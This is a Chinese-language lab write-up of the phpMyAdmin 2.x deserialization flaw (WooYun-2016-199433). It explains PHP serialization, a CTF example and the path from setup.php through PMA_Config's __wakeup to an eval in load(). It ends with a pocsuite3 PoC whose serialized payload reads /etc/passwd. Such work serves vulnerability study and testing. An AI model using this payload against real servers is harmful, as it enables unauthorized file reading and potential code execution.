phpMyAdmin-WooYun-2016-199433

0x00 介绍

phpMyadmin是一套开源的、基于Web的Mysql数据库管理工具。

0x01 环境

vulhub项目之phpmyadmin/WooYun-2016-199433

0x02 漏洞

1、影响版本

phpMyAdmin 2.x版本

2、漏洞摘要

phpMyAdmin 2.x中存在的反序列化漏洞

通过该漏洞,可以任意读取文件或任意执行代码

0x03 分析

1、原理分析

1)什么是序列化与反序列化

image-20200131205731076

Student类在实例化并传入变量值后形成student1对象。
在其他场景下可能会用到该实例,但如果一直保留不销毁等待下次调用的话,会造成浪费系统资源。
这时候,可以将对象序列化,成为一个字符串,当使用时候再反序列化出来。

对于序列化后的字符串格式:

1
O:7:"Student":3:{s:4:"name";s:7:"taoshen";s:3:"sex";s:3:"man";s:3:"age";s:2:"18";}

解析:

1
2
3
4
5
O:7:"Student":3: 
O是对象,A是数组。7是对象名字所占的字符。对象的名字。内含有3个变量。

s:4:"name";s:7:"taoshen";s:3:"sex";s:3:"man";s:3:"age";s:2:"18":
变量的数据类型,s为string,i为int。然后为变量名所占的字符长度,然后是变量的值,和其长度。

这是反序列化出来的对象:

image-20200131210038460

2)什么是反序列化漏洞

php底层定义了一序列以__开头的magic函数,这些magic函数在对象从建立到销毁的过程会自动触发执行:

1
2
3
4
5
__construce()当一个对象创建时被调用
__destruct()当一个对象销毁时被调用
__toString()当一个对象被当作一个字符串使用
__sleep()在对象在被序列化之前运行
__wakeup()在序列化之后立即被调用

在通过unserialize函数反序列化对象的过程中,如果这些magic函数存在输入点,并且对输入的数据没有进行严格的过滤,那么就很容易造成反序列化漏洞。

3)反序列化漏洞样例

一道CTF题目

1
2
3
4
5
6
7
8
9
10
//test2.php
<?php
require_once("shield.php");
$x = new Shield();
isset($_GET['class']) && $g = $_GET['class'];
if (!empty($g)){
$x = unserialize($g);
}
echo $x -> readfile();
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
//shield.php
<?php
//flag is in pctf.php
class Shield{
public $file;
function __construce($filename = ''){
$this -> file = $filename;
}
function readfile(){
if (!empty($this -> file) && stripos($this -> file,'..') === FALSE && stripos($this -> file,'/') === FALSE && stripos($this -> file,'//') === FALSE){
return @file_get_contents($this -> file);
}
}
}
?>

在test2.php中,存在输入点class,对输入的数据进行反序列化,如果成功则执行readfile函数,readfile函数在防止目录穿越后,如果通过则通过file_get_contents函数读取目标。根据注释提示,目标为pctf.php文件。

显而易见,这里构造对象,传入变量为pctf.php即可读取flag:

image-20200131213029320

image-20200131213049438

2、漏洞分析

1)输入点

在setup.php中,存在输入变量configuration,该变量会被unserialize函数进行反序列化操作:

image-20200202223303906

当通过该输入点传入一个序列化字符串的时候,会经反序列化出来一个对象。

在这个对象从创建到销毁的过程中,会自动触发某些魔法函数。

2)控制点

setup.php通过require_once函数引入了/librarise/common.lib.php文件:

image-20200202223714461

/librarise/common.lib.php又引入了/librarise/Config.class.php

image-20200202223908512

/librarise/Config.class.php中存在魔法函数__wakeup,该魔法函数在对象被序列化之后立即被触发调用:

image-20200202230742678

可以看到,其内在满足条件后,会调用load()函数。继续跟踪load()函数:

image-20200202232305893

当检测到file_get_contents被定义,则通过eval函数执行读入的字符串;如果没有file_get_contents函数,则通过file读入文件,同时利用implode函数把文件内容利用\n拼接,再执行eval函数。

如下:

image-20200202234325901

3)利用点

通过分析可以清楚,在输入点位置,当我们构造特定的序列化的数据,在被反序列化成对象后,会到达控制点,触发__wakeup魔法函数。当特定的序列化的数据满足控制点中的load函数的if分支中的条件后,则可以进行任意读取文件或者任意执行代码。

接下来就是回顾跟踪需要满足的字段和构造特定的序列化数据:

在输入点位置setup.php中,需要具备2个传参字段action和configuration,同时创建了$PMA_Config = new PMA_Config();

而在控制点的load函数中,则只需要传入形参source和对应的特定数据即可。

任意读取文件:

image-20200203001149313

image-20200203001540766

任意执行代码,在本环境Ubuntu下无法写入webshell到日志文件,具体写法详见参考链接

0x04 PoC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pocsuite3.api import Output,POCBase,register_poc,requests
class BackDoor(POCBase):
vulID='1'
version='1'
author='Rj45mp'
vulDate=''
createDate=''
updateDate=''
references=['']
name='phpMyAdmin'
appPowerLink='test'
appName='phpMyAdmin'
appVersion='2.x'
vulType='un&serialization'
desc='un&serialization'
samples=['http://127.0.0.1']
install_requires=[]
pocDesc='Rj45mp for test.'

def _verify(self):
result={}
target=self.url+"/scripts/setup.php"
payload={
"action":"test",
"configuration":'O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}'
}
req=requests.post(target,data=payload)
res = req.text
if("root" in res):
result['VerifyInfo']={}
result['VerifyInfo']['URL']=target
return self.parse_output
def _attack(self):
return self._verify()
def parse_output(self,result):
output=Output(self)
if result:
output.success(result)
else:
output.fail('target is not vulnerable.')
return output
register_poc(BackDoor)

image-20200203022400050

0x05 思考

感觉可以大致将漏洞的一些复现分析分为输入点、漏洞点、控制点、条件点以及利用点。

0x06 参考

https://docs.ioin.in/writeup/www.mottoin.com/4cb63e7c-9151-42da-a5bd-e6e29e7ff2f8/index.html

https://rj45mp.github.io/%E6%9C%AC%E5%9C%B0%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E4%B9%8B%E5%8C%85%E5%90%AB%E6%97%A5%E5%BF%97%E8%8E%B7%E5%8F%96webshell/